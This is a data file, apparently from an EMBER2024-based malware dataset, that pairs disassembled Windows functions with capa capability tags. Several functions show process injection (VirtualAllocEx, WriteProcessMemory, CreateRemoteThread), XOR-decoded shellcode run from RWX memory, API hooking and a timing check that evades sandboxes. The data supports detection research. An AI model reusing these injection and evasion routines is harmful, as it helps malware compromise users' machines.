joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800329f0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x180047040]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov eax, ecx
lea r9, [rsp + 0x20]
imul rbx, rax, 0x38
mov esi, edx
add rbx, qword [0x1800710f0]
mov r8, qword [rbx]
movzx eax, byte [rbx + 0x20]
and al, 1
movzx ecx, al
lea rdi, [r8 - 5]
cmove rdi, r8
mov r8d, 0x40
lea rbp, [rcx*2 + 5]
mov rcx, rdi
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180032a63
mov eax, 0xa
jmp 0x180032af6
test esi, esi
je 0x180032a85
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, edi
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x180032aa8
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x180032aa8
mov eax, dword [rbx + 0x18]
test byte [rbx + 0x20], 1
mov dword [rdi], eax
je 0x180032aa1
movzx eax, word [rbx + 0x1c]
mov word [rdi + 4], ax
movzx eax, byte [rbx + 0x1e]
mov byte [rdi + 6], al
jmp 0x180032aa8
movzx eax, byte [rbx + 0x1c]
mov byte [rdi + 4], al
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, rbp
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movzx ecx, sil
shl sil, 2
add cl, cl
xor cl, byte [rbx + 0x20]
and cl, 2
xor cl, byte [rbx + 0x20]
xor sil, cl
and sil, 4
xor sil, cl
mov byte [rbx + 0x20], sil
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180035220
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x180032b20
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, ecx
mov ecx, dword [0x1800710fc]
mov ebx, edi
test ecx, ecx
je 0x180032c5b
mov rax, qword [0x1800710f0]
add rax, 0x20
nop
movzx edx, byte [rax]
shr edx, 1
and edx, 1
cmp edx, esi
jne 0x180032b78
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x180032b50
mov eax, edi
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
cmp ebx, 0xffffffff
je 0x180032c5b
mov r8d, edi
lea rcx, [rsp + 0x20]
test esi, esi
mov edx, 0xffffffff
setne r8b
call fcn.180032840
mov r8d, dword [0x1800710fc]
cmp ebx, r8d
jae 0x180032be8
nop word [rax + rax]
mov eax, ebx
imul rcx, rax, 0x38
mov rax, qword [0x1800710f0]
movzx edx, byte [rcx + rax + 0x20]
shr edx, 1
and edx, 1
cmp edx, esi
je 0x180032be1
mov edx, esi
mov ecx, ebx
call fcn.1800329f0
mov edi, eax
test eax, eax
jne 0x180032be8
mov r8d, dword [0x1800710fc]
inc ebx
cmp ebx, r8d
jb 0x180032bb0
cmp qword [rsp + 0x20], 0
je 0x180032c5b
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x180032c47
mov rbx, qword [rsp + 0x20]
mov qword [rsp + 0x40], rbp
mov ebp, eax
nop dword [rax]
nop dword [rax + rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x180032c38
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rbp, 1
jne 0x180032c10
mov rbp, qword [rsp + 0x40]
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x180070db0]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x48]
mov eax, edi
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x180032f60
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r15
sub rsp, 0x30
xor r15d, r15d
mov esi, edx
mov ebx, r15d
xor eax, eax
mov rdi, rcx
mov ebp, 1
lock cmpxchg dword [0x180070da8], ebp
je 0x180032fb7
cmp rbx, 0x20
jae 0x180032fa0
xor ecx, ecx
jmp 0x180032fa2
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
xor eax, eax
lock cmpxchg dword [0x180070da8], ebp
jne 0x180032f96
cmp qword [0x180070db0], r15
je 0x1800330b1
test rdi, rdi
jne 0x180032fd7
mov ecx, esi
call fcn.180032b20
mov ebp, eax
jmp 0x1800330b6
mov ecx, dword [0x1800710fc]
mov ebx, r15d
test ecx, ecx
je 0x180032fff
mov r8, qword [0x1800710f0]
mov rax, r8
nop
cmp rdi, qword [rax]
je 0x180033009
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x180032ff0
mov ebp, 4
jmp 0x1800330b6
cmp ebx, 0xffffffff
je 0x180032fff
mov eax, ebx
imul rdx, rax, 0x38
movzx eax, byte [rdx + r8 + 0x20]
shr eax, 1
and eax, ebp
cmp eax, esi
je 0x1800330a8
mov r8d, ebp
lea rcx, [rsp + 0x20]
mov edx, ebx
call fcn.180032840
mov edx, esi
mov ecx, ebx
call fcn.1800329f0
mov ebp, eax
cmp qword [rsp + 0x20], r15
je 0x1800330b6
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x180033092
mov rbx, qword [rsp + 0x20]
mov esi, eax
nop word [rax + rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x180033088
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rsi, 1
jne 0x180033060
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x180070db0]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1800330b6
neg esi
sbb ebp, ebp
add ebp, 6
jmp 0x1800330b6
mov ebp, 2
xchg dword [0x180070da8], r15d
mov rbx, qword [rsp + 0x40]
mov eax, ebp
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r15
ret
Function at 0x180034ed0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x68
mov rax, qword [0x180047040]
xor rax, rsp
mov qword [rsp + 0x50], rax
cmp edx, 1
jne 0x180034f7f
lea rcx, str.DiscordHook64.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, qword [rax + 0xe9090]
mov qword [0x180070dc0], rcx
lea rcx, [0x180034060]
xchg qword [rax + 0xe9090], rcx
mov ecx, 8
call fcn.180035240
lea rcx, [0x180034cc0]
mov qword [rax], rcx
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x1800351e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x180034f9f
cmp dword [rsp + 0x38], 0
je 0x180034f93
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x180034f93
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.180035220
add rsp, 0x68
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x1400015cc
Capabilities:
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
cmp r8d, 2
mov r12, rcx
lea rbp, [rsp + 0x20]
mov r15d, r8d
jne 0x140001635
mov dword [0x140052060], 0x10
movups xmm0, xmmword [rcx]
lea rsi, [0x14004f01e]
mov rdi, rbp
lea rax, [0x140052074]
movups xmmword [0x140052064], xmm0
movups xmm1, xmmword [rcx]
mov ecx, 0xd
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x22], rdx
mov ecx, 0xd
mov rdi, rax
movups xmmword [0x140052074], xmm1
mov rsi, rbp
rep movsb byte [rdi], byte [rsi]
mov r13d, dword [0x140052060]
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, rbp
mov rcx, r12
mov dword [rsp + 0x20], 0
mov r8d, 0x40
mov r14, r13
mov rdx, r13
call rbx
test eax, eax
je 0x1400016dd
lea rsi, [0x140052074]
test r15d, r15d
mov rdi, r12
mov rcx, r13
lea rax, [rsi - 0x10]
cmove rsi, rax
cmp qword [0x140052088], 0
rep movsb byte [rdi], byte [rsi]
jne 0x1400016ab
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtFlushInstructionCache
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140052088], rax
mov rsi, qword [0x140052088]
test rsi, rsi
je 0x1400016c8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, r14d
mov rdx, r12
mov rcx, rax
call rsi
mov r8d, dword [rsp + 0x20]
mov r9, rbp
mov rdx, r13
mov rcx, r12
call rbx
mov eax, 1
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x14000179a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 2
lea rdx, [0x1400016ee]
jmp fcn.1400015cc

Function at 0x1400017b3
Capabilities:
Create thread

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
xor r9d, r9d
mov dword [rsp + 0x20], edx
mov rdi, rcx
mov ebx, edx
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x28], 0
xor edx, edx
mov rbp, r8
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf003f
mov qword [rsp + 0x20], 0
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rcx, r12
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp ebx, eax
jle 0x14000182e
mov rdx, rax
and edx, 7
mov dl, byte [rbp + rdx]
xor dl, byte [rdi + rax]
mov byte [rsi + rax], dl
inc rax
jmp 0x140001815
call fcn.14000179a
mov rcx, rsi
lea r9, [rsp + 0x3c]
mov r8d, 0x20
call fcn.14000159a
movsxd rdx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, rsi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
lea r8, [0x14000157b]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140001880
Capabilities:
Check for time delay via gettickcount

Disassembly:
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov r9d, 0x2a
mov r8d, 0x17
mov edx, 0x402
mov ecx, eax
call qword [sym.imp.USER32.dll_PostThreadMessageA]
xor r9d, r9d
xor r8d, r8d
or rdx, 0xffffffffffffffff
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140001957
cmp dword [rsp + 0x38], 0x402
jne 0x140001957
cmp qword [rsp + 0x40], 0x17
jne 0x140001957
cmp qword [rsp + 0x48], 0x2a
jne 0x140001957
mov rsi, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rsi
mov ecx, 0x28a
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call rsi
sub eax, 0x258
sub eax, ebx
cmp eax, 0x12b
ja 0x140001957
mov rbx, qword [0x14004f4a0]
movsxd r13, dword [rbx + 4]
lea rsi, [rbx + 0x18]
mov rcx, r13
call sub.msvcrt.dll_malloc
mov rcx, r13
lea r8, [rbx + 8]
mov edx, r13d
mov rdi, rax
mov r12, rax
rep movsb byte [rdi], byte [rsi]
mov rcx, rax
call fcn.1400017b3
mov rcx, r12
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
jmp sub.msvcrt.dll_free
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
ret

Function at 0x140001c40
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002a10
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002a10
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x140001cb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x140052124]
mov r12, rcx
test ebx, ebx
jle 0x140001de0
mov rax, qword [0x140052128]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x140001cfc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001d83
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x140001ce0
mov rcx, r12
call fcn.140002660
mov rsi, rax
test rax, rax
je 0x140001e02
mov rax, qword [0x140052128]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.140002790
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x140052128]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001de7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001d7c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001d90
add dword [0x140052124], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x140052128]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001d7c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001c40
nop dword [rax]
xor ebx, ebx
jmp 0x140001d07
mov rax, qword [0x140052128]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001c40
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140001c40
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400022d0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140052180]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140052160]
test rbx, rbx
je 0x140002324
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000231b
test r12, r12
je 0x14000231b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002300
lea rcx, [0x140052180]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002660
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14004f380]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002680
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002688
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002680
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x1400026d5
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400026cc
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002680
add rax, 0x28
cmp rax, r9
jne 0x1400026b8
xor eax, eax
ret

Function at 0x1400026e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14004f380]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002700
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002708
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002700
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x140002790
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14004f380]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1400027b0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x1400027b8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x6bac14fe
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov eax, dword [rbp + 0x18]
cmp eax, 1
jne 0x6bac1549
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rbp + 0x10]
lea r8, [0x6bac14d0]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
nop
mov eax, 1
add rsp, 0x30
pop rbp
ret

Function at 0x6bac15c0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov rax, qword [rbp + 0x20]
sub rax, 0xffffffffffffff80
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rax
mov edx, 0
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 8], rax
mov r8, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, rax
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp + 0x20]
jne 0x6bac1673
mov rax, qword [rbp - 8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8d, 0
mov edx, 0
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
jmp 0x6bac1674
nop
add rsp, 0x50
pop rbp
ret
Function at 0x14002d48c
Capabilities:
Get file size
Read file via mapping

Disassembly:
push rbx
sub rsp, 0x40
and qword [rsp + 0x30], 0
mov rax, rdx
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov rbx, rcx
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
mov rcx, rax
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
nop dword [rax + rax]
mov qword [rbx + 0x30], rax
cmp rax, 0xffffffffffffffff
jne case.default.0x14002d4d8
add rsp, 0x40
pop rbx
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
and qword [rsp + 0x28], 0
xor r9d, r9d
and dword [rsp + 0x20], 0
xor edx, edx
mov rcx, rax
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
nop dword [rax + rax]
mov qword [rbx + 0x38], rax
test rax, rax
je 0x14002d4d3
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
nop dword [rax + rax]
mov qword [rbx], rax
test rax, rax
je 0x14002d4d3
mov rcx, qword [rbx + 0x30]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
nop dword [rax + rax]
mov dword [rbx + 0x18], eax
cmp eax, 0xffffffff
je 0x14002d4d3
xor eax, eax
add rsp, 0x40
pop rbx
ret
ret
invalid
or al, byte [rbp - 0x3b0ce087]
add dword [rbp + 0x5b6b8ebd], ecx
xor dword [rbx - 0x5b], esi
je 0x1400f5f28
sub dword [rdx + rcx*2 - 0xa1ba0cf], esp
invalid
invalid
imul ebp, edx, 0xb
and ah, al
mov ebp, 0xfff92f24
out dx, eax
invalid
nop
pop rsi
sbb dword [rax - 0x36], edx
fistp qword [0x12999e131]
std
hlt
jne 0x1400f6967
cmp eax, 0xff5e6039
mov ch, 0xff
mov ah, 0xbf
xchg esi, eax
push rsp
scasd eax, dword [rdi]
loope 0x1400f690c
mov bl, 0xef
mov ah, 0x73
ret
mov cl, 0xb4
sahf
sbb ch, dl
stc
minss xmm4, dword [rsi]
cmc
cld
lodsb al, byte [rsi]
sar ebp, 1
invalid
cmpsb byte [rsi], byte [rdi]
dec byte [rdx]
int3
xchg ebx, eax
invalid
pop rbx
out dx, eax
jl 0x1400f6af6
leave
std
out dx, eax
lodsb al, byte [rsi]
fnstsw word [rdi]
dec dl
invalid
xchg ecx, eax
pop rbx
xchg ecx, eax
lea ebx, [rbp - 0x13100208]
in al, dx
add ecx, edx
iretd
mov esi, 0xf3ea6919
sub dword [rdx - 0x26ad4703], 0x2f
std
mov eax, 0xe22fd952
mov dword [rcx - 0x2a1bac3a], esp
invalid
xchg esp, eax
xchg ah, cl
xor dword [rdx - 0x12], 0xdcd40993
or esp, edx
fcom qword [0xdfec389c]
fldcw word [rdi]
loop 0x1400f6a83
movabs eax, dword [0x81cc8694d5e453c6]
jb 0x1400f6af3
invalid
xchg ebx, eax
or esp, edx
fcom qword [0xdfec389c]
jmp [rsi + rdx*8 - 0x131b83c3]
in al, dx
jb 0x1400f6b92
lahf
movsb byte [rdi], byte [rsi]
cmp al, byte [rax]
cmp dl, byte [rdx + 1]
add ecx, ebx
dec dword [rsi]
or eax, 0xfce0fc37
out dx, eax
or al, 0xbb
mov ebx, 0x5a916c66
invalid
and byte [rcx + rax*2], ah
and edx, dword [rbx - 0x72016182]
invalid
bnd jmp 0x1400f6b25
lodsd eax, dword [rsi]
dec dh
leave
sbb edi, esi
xor esp, esi
int1
invalid
invalid
invalid
mov bl, 0x5b
and al, 0x77
loope 0x1400f6bab
add edi, edi
loope 0x1400f6b67
ret
invalid
Function at 0x14004f73c
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 8], rcx
push rdi
sub rsp, 0x40
mov qword [rax - 0x28], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rbx, r9
mov r11, r8
mov rsi, rdx
mov r9, rcx
movabs rcx, 0xcbf29ce484222325
xor edx, edx
movzx eax, byte [rdx + r11]
xor rcx, rax
movabs r8, 0x100000001b3
imul rcx, r8
inc rdx
cmp rdx, 8
jb 0x14004f774
mov r8, qword [r9 + 0x30]
and r8, rcx
mov r10, r8
add r10, r10
mov rcx, qword [r9 + 0x18]
mov rdi, qword [r9 + 8]
cmp rdi, qword [rcx + r10*8]
je 0x14004f7fe
mov rdi, qword [rcx + r10*8 + 8]
mov rdi, qword [rdi]
cmp rdi, qword [rcx + r10*8]
je 0x14004f7fe
mov rdi, qword [rdi + 8]
mov rax, qword [rdi + 0x10]
cmp qword [r11], rax
jne 0x14004f7b6
mov rcx, qword [rbx + 8]
mov rax, qword [rbx]
mov qword [rcx], rax
mov rcx, qword [rbx]
mov rax, qword [rbx + 8]
mov qword [rcx + 8], rax
dec qword [r9 + 0x10]
mov edx, 0x18
mov rcx, rbx
call fcn.140050978
mov qword [rsi], rdi
mov byte [rsi + 8], 0
mov rax, rsi
jmp 0x14004f895
mov rax, qword [rbx]
cmp rdi, rax
je 0x14004f833
mov rcx, qword [rbx + 8]
mov qword [rcx], rax
mov rcx, qword [rax + 8]
mov qword [rcx], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rbx
mov rdx, qword [rdi + 8]
mov rcx, qword [rax + 8]
mov qword [rdi + 8], rcx
mov rcx, qword [rbx + 8]
mov qword [rax + 8], rcx
mov qword [rbx + 8], rdx
mov rdx, qword [r9 + 0x18]
mov rax, qword [rdx + r10*8]
add r8, r8
cmp rax, qword [r9 + 8]
jne 0x14004f853
mov qword [rdx + r8*8], rbx
mov rax, qword [r9 + 0x18]
mov qword [rax + r8*8 + 8], rbx
jmp 0x14004f882
cmp rax, rdi
jne 0x14004f85e
mov qword [rdx + r8*8], rbx
jmp 0x14004f882
mov rax, qword [rdx + r8*8 + 8]
mov rcx, qword [rax]
mov qword [rdx + r8*8 + 8], rcx
cmp rcx, rbx
je 0x14004f882
mov rdx, qword [r9 + 0x18]
mov rax, qword [rdx + r10*8 + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + r10*8 + 8], rcx
mov rcx, r9
call fcn.14004d7fc
nop
mov qword [rsi], rbx
mov byte [rsi + 8], 1
mov rax, rsi
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x140050c78
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x1400a1b60], eax
call fcn.1400510b0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400a1b60], 0
jne case.default.0x140050cce
mov ecx, 1
call fcn.1400510b0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
add cl, byte [rbx + 0x73]
test byte [rbp + 0x180c2b92], dh
in eax, dx
std
sbb al, 0xff
push rdi
invalid
Function at 0x18000fd70
Capabilities:
Encode data using xor

Disassembly:
mov ss, word [rsi + rbp + 0x4e5f2559]
push rax
sbb byte [rdx - 0x73], 0x8e
fmul st(7)
jno 0x18000fd85
invalid
lahf
cmp ecx, dword [rbp + 0x54]
mov dword [rbx], ebx
scasb al, byte [rdi]
mov ah, 0x70
test dword [rdi + riz*4], 0x9c3c2d07
mov esp, 0x473da191
cmp byte [rdi + rbp - 0x5b47d72d], ah
cwde
nop
xor al, 0x28
sbb al, 0x90
invalid

Function at 0x180d8e000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0x180d8e00a
jmp 0x180d9000f
jmp fcn.1808f9058